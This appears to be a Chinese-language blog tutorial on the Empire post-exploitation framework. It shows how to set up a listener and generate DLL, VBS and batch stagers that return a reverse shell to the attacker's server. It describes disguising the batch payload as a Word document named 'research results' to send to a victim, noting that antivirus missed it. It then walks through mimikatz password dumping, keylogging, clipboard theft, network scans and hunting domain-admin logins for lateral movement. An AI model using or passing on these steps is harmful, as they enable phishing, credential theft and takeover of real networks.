Empire基本操作
- 安装
安装就不具体说了,网上一搜一大堆。 - 设置监听
先进入empire,这里说下我遇到的问题,打开empire时我必须要sudo ./empire才行。。
使用help可以查看帮助,Empire和Metasploit的使用原理是一样的,都是先设置一个监听,然后去生成一个木马,然后在目标主机运行该木马,我们的监听就会连接上反弹回来的代理。
使用listeners可以进入我们的线程界面,一开始是没有的,所以我们输入uselistener来设置模式,可以双击Tab查看,我们这里设置http监听,输入uselistener http
进入。使用info查看参数设置.False是我们不需要设置的,我们这里设置Name,Host,Port。输入1
2set Name hu3sky
set Host xxx.xxx.xxx.xxx(Empire所在服务器ip)
然后再输入info查看。接着使用execute执行
这里需要注意,开启多个监听,名称必须不一样,而且端口也必须不一样,否则不能创建。
0x00 生成马儿🐎
Empire里拥有多个模块化的stagers,接着输入usestager来设置采用何种模块,我们同样通过双击Tab键可以看到一共有26个模块。如下图所示。(back可以退回到listeners)。。这里不知道为什么双击出现不了。。借用一张网上的图片。其中multi为通用模块、osx是mac操作系统、剩下的就是windows的模块,下面我们挑选其中几种常用类型的木马来具体讲解。
dll
输入usestager windows/dll的命令,然后输入info命令来查看详细参数,如下图所示这里我们需要设置一下listener,set Listener hu3sky
接着execute
。就会在tmp目录下生成launcher.dll的木马。然后在目标机下运行,就会反弹会一个shelllauncher
如果只是需要简单的powershell代码,在设置完相应模块后,可以直接在监听器菜单中键入“launcher
反弹了一个shell。可以看到运行后目标主机上线,我们输入agents就可以看到上线目标主机的具体内容,这里的Agents就相当于Metasploit的会话sessions如下图所示。这里的代理Name他会取一个随机的名字,这里我们可以修改这个随机名字,使用rename
launcher_vbs
输入usestager windows/launcher_bat的命令,然后输入info命令查看详细参数.参数设置与launcher相似,这里就不做重复了。依然会生成在/tmp/launcher.vbs,在目标机上运行即可得到shelllauncher_bat
输入usestager windows/launcher_bat的命令,然后输入info命令查看详细参数,也与launcher类似。
为了增加迷惑,也可以将该批处理插入到一个office文件中,这里随便找个word或者excel文件,点击“插入”标签选择“对象”,然后选择“由文件创建”,点击“浏览”,并选择刚才生成的批处理文件,然后勾选“显示为图标”,点击“更改图标”来更改一个更具诱惑的图标。在“更改图标”界面里,我们可以选择一个图标,这里建议使用微软Excel、Word或PowerPoint图标,这里我们使用了word的图标,并且更改文件的名称为研究成果,扩展名改为doc。点击确定后,该对象就会插入到word文件中,接着在listeners下监听,然后将该word文件发给目标,一旦在目标机上打开,并运行了内嵌的批处理文件,就会得到这个主机的权限,这里我们使用的虚拟机是win10的64位旗舰版,安装有系统自带的Defender,运行后,成功上线,Defender没有任何提示,杀软会报宏病毒。(暂时没测试起,倒是把我本机的shell反弹回来了)
0x01 连接目标主机
agents查看主机,如果Username带有*的就是已经提权成功的。我们这台win7已经自动提取成功了。我们interact+Name进入连接代理。执行whoami可以看到我们的身份已经是管理员了.使用help可以查看所有命令。注意的是Linux的命令也可以使用。使用help agentcmds
查看常用命令。使用cmd命令时,需要用shell 命令
的格式。empire还内置了抓取明文密码的神器mimikatz。我们直接输入mimikatz。
可以看到抓到了明文密码。使用creds
提取出密码
实际渗透过程中由于种种原因总会有部分反弹丢失或者失效,可以使用list stale命令来列出已经丢失的反弹代理,然后用remove stale来删去已经失效的反弹
后渗透
0x02 信息收集
Empire主要用于后渗透。所以信息收集是比较常用的一个模块,我们可以使用searchmodule命令搜索需要使用的模块,这里通过键入“usemodule collection”然后按Tab键来查看完整列表,如下图所示。
- 屏幕截图 直接
sc
,可以看到生成了一个截图 - 键盘记录
usemodule collection/keylogger
info查看参数。设置保持默认就可以,我们输入execute
启动,就开启记录键盘输入了,会自动在empire/downloads/<AgentName>
下生成一个agent.log。 - 剪切板记录。这个模块允许你抓取存储在目标主机Windows剪贴板上的任何内容。模块参数可以设置抓取限制和间隔时间,一般情况下,保持默认设置就可以,这里我们输入
usemodule collection/clipboard_monitor
,同样info命令可以查看具体参数,直接execute
。可以看到结果, - 收集目标主机有用的信息
输入命令usemodule situational_awareness/host/winenum
,可以查看本机用户,域组成员,最后密码设置时间,剪贴板内容,系统基本系统信息,网络适配器信息,共享信息等等,如下图所示 - ARP扫描
输入usemodule situational_awareness/network/arpscan,输入info命令查看具体参数,这里要设置一下Range参数,输入下列命令设置为要扫描的网段,如下图所示1
2set Range 192.168.31.0-192.168.31.254
execute
同样Empire也内置了端口扫描模块, situational_awareness/network/portscan
。
- DNS信息获取
在内网中,知道所有机器的HostName和对应的IP地址对分析内网结构至关重要,输入usemodule situational_awareness/network/reverse_dns
命令使用该模块,输入info命令查看具体参数,这里要设置一下Range
参数,输入你要扫描的IP网段运行,如果该主机同时有2个网卡,Empire也会显示出来,方便我们寻找边界主机。另一个模块模块situational_awareness/host/dnsserver
,可以显示出当前内网DNS服务器IP地址 - 查找域管登陆服务器IP
在内网渗透中,拿到内网中某一台机器,想要获得域管权限,有一种方法是找到域管登陆的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,这个模块就是用来查找域管登陆的机器。
使用模块usemodule situational_awareness/network/powerview/user_hunter
,输入info查看设置参数。这个模块可以清楚看到哪个用户登录了哪台主机 - 本地管理组访问模块
使用usemodule situational_awareness/network/powerview/find_localadmin_access
模块,不需要做什么设置,直接运行execute即可 - 获取域控制器
现在可以用usemodulesituational_awareness/network/powerview/get_domain_controller
模块来确定我们当前的域控制器,因为我们有了域用户权限,输入execute